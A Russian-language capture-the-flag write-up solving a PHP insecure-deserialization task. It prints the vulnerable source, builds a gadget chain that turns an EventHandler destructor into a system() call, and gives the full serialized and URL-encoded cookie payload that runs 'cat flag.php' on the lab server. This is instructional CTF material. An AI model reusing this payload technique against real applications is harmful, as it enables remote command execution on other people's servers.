Write-up on some task from Singletone Security Intern CTF [in Russian]
Дан IP-адрес сервиса, по которому отображается некая форма ввода:
Также можно скачать исходник PHP-файл как https://ip/source.php~
:
<?php
include('flag.php');
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT);
if (isset($_GET['source'])) {
die(highlight_file(__FILE__));
}
class User {
public $name;
public $age;
public $city;
public function __construct($name, $age, $city) {
$handler = new UserNameHandler();
$this->name = $handler->handleData($name);
$this->age = $age;
$this->city = $city;
}
}
class UserNameHandler {
public function handleData($name) {
return ucfirst(strtolower(trim($name)));
}
}
class EventHandler {
private $event;
private $events;
private $logFilePath;
public function __construct($event, $events) {
$this->event = $event;
$this->events = $events;
$this->logFilePath = '/tmp/logfile.log';
}
public function logEvent($event) {
file_put_contents($this->logFilePath, $event, FILE_APPEND);
}
public function __destruct()
{
$this->events->handleEvent($this->event);
}
}
class UserLogger {
private $updaters;
private $logFilePath;
public function __construct($updaters) {
$this->updaters = $updaters;
$this->logFilePath = '/tmp/logfile.log';
}
public function __call($method, $attributes)
{
return $this->modify($method, $attributes);
}
public function modify($updater, $arguments = array())
{
return call_user_func_array($this->getModification($updater), $arguments);
}
public function getModification($updater)
{
if (isset($this->updaters[$updater])) {
return $this->updaters[$updater];
}
}
public function logData($user) {
$logMessage = sprintf("User: %s, Age: %d, City: %s\n", $user->name, $user->age, $user->city);
file_put_contents($this->logFilePath, $logMessage, FILE_APPEND);
}
}
if (isset($_POST['name']) && isset($_POST['age']) && isset($_POST['city'])) {
$user = new User($_POST['name'], $_POST['age'], $_POST['city']);
$userLogger = new UserLogger([]);
$userLogger->logData($user);
$serialized = serialize($user);
setcookie('userData', $serialized, time() + (86400 * 30), "/");
header("Location: " . $_SERVER['REQUEST_URI']);
exit();
}
$userData = null;
if (isset($_COOKIE['userData'])) {
$userData = unserialize($_COOKIE['userData']);
}
?>
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Сбор данных</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div>
<h1>Заполните форму</h1>
</div>
<form action="" method="post">
<div class="form-group">
<label for="name">Имя:</label>
<input type="text" id="name" name="name" required>
</div>
<div class="form-group">
<label for="age">Возраст:</label>
<input type="number" id="age" name="age" required>
</div>
<div class="form-group">
<label for="city">Город:</label>
<input type="text" id="city" name="city" required>
</div>
<button type="submit">Отправить</button>
</form>
<?php if ($userData): ?>
<div class="user-info">
<p>Имя: <span><?php echo htmlspecialchars($userData->name); ?></span></p>
<p>Возраст: <span><?php echo htmlspecialchars($userData->age); ?></span></p>
<p>Город: <span><?php echo htmlspecialchars($userData->city); ?></span></p>
</div>
<?php endif; ?>
</div>
</body>
</html>
Изучим его. Видим, что, есть какие-то классы User
, UserNameHandler
, EventHandler
UserLogger
, и скорей всего, флаг содержится в файле flag.php
. При подробном изучении замечаем магические PHP-методы __construct
, __desctruct
и __call
. Это означает, что в этой задаче нужно проэксплуатировать RCE через небезопасную десериалиацию, используя создание цепочки произвольных PHP гаджетов.
Если вы не знакомы с темой, то рекомендую почитать Magic methods и прорешать соответсвущую лабы в Portswigger Web Security Academy:
Здесь случай похожий, но посложнее.
Очевидно, что зловредный сериализованный объект считывается через куку userData=
и затем десериализуется в этом куске кода при обращении к странице через GET-запрос:
$userData = null;
if (isset($_COOKIE['userData'])) {
$userData = unserialize($_COOKIE['userData']);
}
Сама же кука выдается после отправки заполненной формы:
POST / HTTP/2
Host: task2.ctf.singleton-security.ru
Cookie: userData=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: https://task2.ctf.singleton-security.ru
Referer: https://task2.ctf.singleton-security.ru/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
name=foo&age=bar&city=abc
Ответ:
HTTP/2 302 Found
Date: Fri, 05 Apr 2024 05:23:09 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
X-Powered-By: PHP/7.4.33
Set-Cookie: userData=O%3a4%3a%22User%22%3a3%3a%7Bs%3a4%3a%22name%22%3bs%3a3%3a%22Foo%22%3bs%3a3%3a%22age%22%3bs%3a3%3a%22bar%22%3bs%3a4%3a%22city%22%3bs%3a3%3a%22abc%22%3b%7D; expires=Sun, 05-May-2024 05:23:09 GMT; Max-Age=2592000; path=/
Location: /
Strict-Transport-Security: max-age=31536000; includeSubDomains
URL-декодируем куку и посмотрим как она выглядит:
userData=O:4:"User":3:{s:4:"name";s:3:"Foo";s:3:"age";s:3:"bar";s:4:"city";s:3:"abc";};
Эта кука затем присоединяется в GET-запрос при редиректе, после чего приходит такой ответ:
HTTP/2 200 OK
Date: Fri, 05 Apr 2024 05:23:10 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 1138
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Сбор данных</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div>
<h1>Заполните форму</h1>
</div>
<form action="" method="post">
<div class="form-group">
<label for="name">Имя:</label>
<input type="text" id="name" name="name" required>
</div>
<div class="form-group">
<label for="age">Возраст:</label>
<input type="number" id="age" name="age" required>
</div>
<div class="form-group">
<label for="city">Город:</label>
<input type="text" id="city" name="city" required>
</div>
<button type="submit">Отправить</button>
</form>
<div class="user-info">
<p>Имя: <span>Foo</span></p>
<p>Возраст: <span>bar</span></p>
<p>Город: <span>abc</span></p>
</div>
</div>
</body>
</html>
Теперь давайте подробнее посмотрим исходники, чтобы понять, какие гаджеты можно сконструировать. Видим, что в итоге на странице печатаются содержимое атрбиутов name
, age
и city
.
Атрибут name
не подходит для экплуатации, т.к. дальше он попадает в метод handleData()
класса UserNameHandler
, где нет магических методов. Ничего не сделаешь.
Атрибут age
подходит для эксплуатации, т.к. при конструировании инстанса класса User
с ним не происходит никаких действий, а эначит можно передать туда что угодно, например, инстанс класса EventHandler
.
Класс EventHandler
требует при конструировании 2 аргумента: какое-то событие или команду, и, наконец, какой-то объект, у которого есть метод handleEvent()
.
Смотря в код, не видно никакого класса с методом handleEvent()
. Однако, из документации PHP известно, что магический метод __call()
вызывается, когда происходит обращение к недоступным методам класса.
Здесь как раз есть класс UserLogger
с определенным методом __call()
.
Далее становится очевидно, что при конструировании надо передать массив, но непонятно какой именно.
Вглянем на вызов метода handleEvent()
. Как вместо него вызывать system()
?
После долгих поисков стало понятно, что надо передавать ассоциативный массив. Вот пример, который запускается в любом онлайн PHP интерпретаторе:
<?php
$foo = array('handleEvent' => 'system');
$aga = serialize($foo);
echo $aga . "\n";
$foo['handleEvent']('date');
?>
Результат:
a:1:{s:11:"handleEvent";s:6:"system";}
Thu Apr 4 20:23:58 IST 2024
Аналогичным образом будет работать такой массив и в нашем случае. В итоге, нужно передать в куку такой сериализованный объект, который после десериалиации должен выглядеть примерно так:
$user = new User('Ivan', new EventHandler("cat flag.php", new UserLogger(array('handleEvent' => 'system'))), 'ololo');
При выходе из области видимости у экземпляра класса EventHandler
вызовется __desctruct()
, где вместо handleEvent()
вызовется system()
с любой командой, которая была передана при конструировании.
Проверим локально. Скопируем код в отдельный файл, вручную состряпаем сериализованный пейлоад и запустим с командой date
:
<?php
error_reporting(E_ALL & ~E_WARNING & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT);
class User {
public $name;
public $age;
public $city;
public function __construct($name, $age, $city) {
$handler = new UserNameHandler();
$this->name = $handler->handleData($name);
$this->age = $age;
$this->city = $city;
}
}
class UserNameHandler {
public function handleData($name) {
return ucfirst(strtolower(trim($name)));
}
}
class EventHandler {
private $event;
private $events;
private $logFilePath;
public function __construct($event, $events) {
$this->event = $event;
$this->events = $events;
$this->logFilePath = '/tmp/logfile.log';
}
public function logEvent($event) {
file_put_contents($this->logFilePath, $event, FILE_APPEND);
}
public function __destruct()
{
$this->events->handleEvent($this->event);
}
}
class UserLogger {
private $updaters;
private $logFilePath;
public function __construct($updaters) {
$this->updaters = $updaters;
$this->logFilePath = '/tmp/logfile.log';
}
public function __call($method, $attributes)
{
return $this->modify($method, $attributes);
}
public function modify($updater, $arguments = array())
{
return call_user_func_array($this->getModification($updater), $arguments);
}
public function getModification($updater)
{
if (isset($this->updaters[$updater])) {
return $this->updaters[$updater];
}
}
public function logData($user) {
$logMessage = sprintf("User: %s, Age: %d, City: %s\n", $user->name, $user->age, $user->city);
file_put_contents($this->logFilePath, $logMessage, FILE_APPEND);
}
}
$payload = "O:4:\"User\":3:{s:4:\"name\";s:4:\"Ivan\";s:3:\"age\";O:12:\"EventHandler\":3:{s:5:\"event\";s:4:\"date\";s:6:\"events\";O:10:\"UserLogger\":2:{s:8:\"updaters\";a:1:{s:11:\"handleEvent\";s:6:\"system\";}s:11:\"logFilePath\";s:16:\"/tmp/logfile.log\";}s:11:\"logFilePath\";s:16:\"/tmp/logfile.log\";}s:4:\"city\";s:5:\"ololo\";}";
$foo = unserialize($payload);
echo $foo->name . "\n";
echo $foo->city . "\n";
?>
Работает!
└─$ php try_to_debug_task2.php
Ivan
ololo
Fri Apr 5 09:03:50 AM MSK 2024
Пробуем отправить пейлоад в куке, поменяв команду date
на cat flag.php
и ее длину (s:4
-> s:12
), и закодировав в URL:
GET / HTTP/2
Host: task2.ctf.singleton-security.ru
Cookie: userData=O%3a4%3a"User"%3a3%3a{s%3a4%3a"name"%3bs%3a4%3a"Ivan"%3bs%3a3%3a"age"%3bO%3a12%3a"EventHandler"%3a3%3a{s%3a5%3a"event"%3bs%3a12%3a"cat flag.php"%3bs%3a6%3a"events"%3bO%3a10%3a"UserLogger"%3a2%3a{s%3a8%3a"updaters"%3ba%3a1%3a{s%3a11%3a"handleEvent"%3bs%3a6%3a"system"%3b}s%3a11%3a"logFilePath"%3bs%3a16%3a"/tmp/logfile.log"%3b}s%3a11%3a"logFilePath"%3bs%3a16%3a"/tmp/logfile.log"%3b}s%3a4%3a"city"%3bs%3a5%3a"ololo"%3b}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://task2.ctf.singleton-security.ru/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Ответ:
HTTP/2 200 OK
Date: Fri, 05 Apr 2024 06:01:35 GMT
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Сбор данных</title>
<link rel="stylesheet" href="style.css">
</head>
<body>
<div class="container">
<div>
<h1>Заполните форму</h1>
</div>
<form action="" method="post">
<div class="form-group">
<label for="name">Имя:</label>
<input type="text" id="name" name="name" required>
</div>
<div class="form-group">
<label for="age">Возраст:</label>
<input type="number" id="age" name="age" required>
</div>
<div class="form-group">
<label for="city">Город:</label>
<input type="text" id="city" name="city" required>
</div>
<button type="submit">Отправить</button>
</form>
<div class="user-info">
<p>Имя: <span>Ivan</span></p>
<p>Возраст: <span></span></p>
<p>Город: <span>ololo</span></p>
</div>
</div>
</body>
</html>
<?php
$FLAG = "CU\$t0m_cH41n_h3R0";
?>
В ответе видим содержимое flag.php
. Задание решено.